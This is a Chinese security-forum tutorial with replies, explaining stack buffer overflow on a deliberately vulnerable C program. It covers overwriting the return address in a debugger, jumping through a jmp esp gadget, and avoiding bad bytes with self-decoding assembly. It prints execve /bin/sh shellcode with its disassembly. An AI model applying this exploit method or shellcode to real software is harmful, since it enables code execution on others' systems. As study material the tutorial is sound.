首页
社区
课程
招聘
[原创]栈溢出原理和利用
发表于: 2019-12-23 20:17 11734

[原创]栈溢出原理和利用

2019-12-23 20:17
11734

案例代码中fscanf读取文件到cPas中,没有限定读多少,那么可以读大量的16进制到栈里

如图:
把断点下到fscanf这个函数在这里,注释是我自己写的
可以发现buff是ecx的值,所有在堆栈那里跟到buff
然后选择锁定堆栈,为了让我们方便观看这一块堆栈

F8单步走一步,然后发现读的值在栈里面了,可以发现下面有个返回地址,
如果我们把读的数据返回地址给覆盖成我们的代码地址呢?是不是就可以执行我们的代码了。返回地址是6*7=28字节后面的4自己改我们的返回地址

由上图可以知道第25个字节是我们的返回地址,编写好记住栈的返回地址的地址是0018FF4c,我们往这个地址里面改成我们需要返回的地址内容,我改的是0018FF50,下面是我的nop代码

F8执行fscanf,读入的数据把返回地址覆盖了,返回地址变成了0018FF50,

最后走到retn的地方,retn的操作是jmp esp 并且 pop esp
所有单步F8的话会到0018FF50这个地方执行代码

观察Eip和反汇编窗口,发现执行了我们的代码

论坛随便看到的shellcode
5

然后就是发现这段shellcode里面有 cd 0b这样的阶段HEX
所以我自己写了改这段代码的shellcode

编译链接exe,用winhex打开复制shellcode代码
5

复制到我们的输入中去
5
OD执行下
5

 
    int main(void)
    {
        char cPas[20]={20 *0};
        int iResult;
        FILE* pFile = NULL;
        pFile = fopen("pd.txt", "r");

        fscanf(pFile, "%s",cPas);
        iResult=strcmp(Password, cPas);
        if(iResult == 0)
        {
            printf("Welcom\r\n");
        }
        else
        {
            printf("fail\r\n");
        }
        fclose(pFile);
        return 0;
    }
+ fscanf()函数(有点像正则表达式):

功 能: 从一个流中执行格式化输入,fscanf遇到空格和换行时结束,注意空格时也结束。

用 法:int fscanf(FILE *stream, char *format,[argument...]);
Explanation:
6a 0b                push 0xb 
58                     pop eax  
99                     cdq      
68 2f 73 68 00  push 0x68732f  
68 2f 62 69 6e  push 0x6e69622f
89 e3                mov ebx,esp    
31 c9                xor ecx,ecx    
cd 80                int 0x80
.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive

.code
start:
call Next
Next:
pop ebx
sub ebx,offset Next

lea eax,[ebx+offset mydata]

;1Bh==>Bh
mov bl,[eax+1]
sub bl,10h
mov [eax+1],bl
;0CEh==>CDh
mov bl,[eax+18]
dec bl
mov [eax+18],bl

mydata db  6Ah,1Bh,58h,099h,68h,2Fh,73h,68h,00h,68h,2Fh,62h,69h,6Eh,89h,0E3h,31h,0C9h,0CEh,80h

ret
end start
  • 栈溢出是指向向栈中写入了超出限定长度的数据,溢出的数据会覆盖栈中其它数据,从而影响程序的运行。
  • 案例代码中fscanf读取文件到cPas中,没有限定读多少,那么可以读大量的16进制到栈里

  • 如图:
    把断点下到fscanf这个函数在这里,注释是我自己写的
    可以发现buff是ecx的值,所有在堆栈那里跟到buff
    然后选择锁定堆栈,为了让我们方便观看这一块堆栈

    F8单步走一步,然后发现读的值在栈里面了,可以发现下面有个返回地址,
    如果我们把读的数据返回地址给覆盖成我们的代码地址呢?是不是就可以执行我们的代码了。返回地址是6*7=28字节后面的4自己改我们的返回地址

    由上图可以知道第25个字节是我们的返回地址,编写好记住栈的返回地址的地址是0018FF4c,我们往这个地址里面改成我们需要返回的地址内容,我改的是0018FF50,下面是我的nop代码

    F8执行fscanf,读入的数据把返回地址覆盖了,返回地址变成了0018FF50,

    最后走到retn的地方,retn的操作是jmp esp 并且 pop esp
    所有单步F8的话会到0018FF50这个地方执行代码

    观察Eip和反汇编窗口,发现执行了我们的代码

  • 问题
  • 解决问题
    • 第一个问题我们可以使用jmp esp这个解决,HEX为FF E4,在返回地址处填上jmp esp这句代码的地址,这个exe的代码里面搜索到FF E4,把返回地址改成这个即可。
      • 搜索方法:
        ALT+M 然后Ctrl+B搜索

        使用插件搜索

        可以发现非常多的log,这里我们一般选择主模块(随机基址会出问题)的或者kerenl32.dll、ntdll.dll,窗口的程序加上user32.dll(Winows必定会加载的dll,加载顺序都一样,但是可能系统版本不一样,导致dll不一样),这里看情况办事了

    • 第二个问题我们可以对fscanf代码进程加密使其不产生这些Hex
      • 使用工具
        5
        特征文件的后缀是.fea 55
        需要异或的代码后缀是.code
  • 第一个问题我们可以使用jmp esp这个解决,HEX为FF E4,在返回地址处填上jmp esp这句代码的地址,这个exe的代码里面搜索到FF E4,把返回地址改成这个即可。
    • 搜索方法:
      ALT+M 然后Ctrl+B搜索

      使用插件搜索

      可以发现非常多的log,这里我们一般选择主模块(随机基址会出问题)的或者kerenl32.dll、ntdll.dll,窗口的程序加上user32.dll(Winows必定会加载的dll,加载顺序都一样,但是可能系统版本不一样,导致dll不一样),这里看情况办事了

  • 第二个问题我们可以对fscanf代码进程加密使其不产生这些Hex
    • 使用工具
      5
      特征文件的后缀是.fea 55
      需要异或的代码后缀是.code
  • 搜索方法:
    ALT+M 然后Ctrl+B搜索

    使用插件搜索

    可以发现非常多的log,这里我们一般选择主模块(随机基址会出问题)的或者kerenl32.dll、ntdll.dll,窗口的程序加上user32.dll(Winows必定会加载的dll,加载顺序都一样,但是可能系统版本不一样,导致dll不一样),这里看情况办事了


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 3
支持
分享
最新回复 (7)
雪    币: 14893
活跃值: (18064)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
LZ,666
2019-12-23 21:55
0
雪    币: 1555
活跃值: (3148)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
3
最短shellcode收藏了
2019-12-28 14:51
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
LZ,666,收藏了
2020-1-6 22:51
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
有一个问题请教以下,windows的.exe文件用/bin/sh的shellcode为啥能执行成功
2020-1-14 17:42
0
雪    币: 389
活跃值: (565)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
6
结果会跑蹦掉,但是shellcode这些指令是会被执行的
最后于 2020-1-15 10:48 被自然dashen编辑 ,原因:
2020-1-15 10:46
0
雪    币: 1555
活跃值: (3148)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
7
han0x7300 有一个问题请教以下,windows的.exe文件用/bin/sh的shellcode为啥能执行成功
好问
2020-2-21 21:38
0
雪    币: 445
活跃值: (406)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
收藏了
2020-3-4 21:39
0
游客
登录 | 注册 方可回帖
返回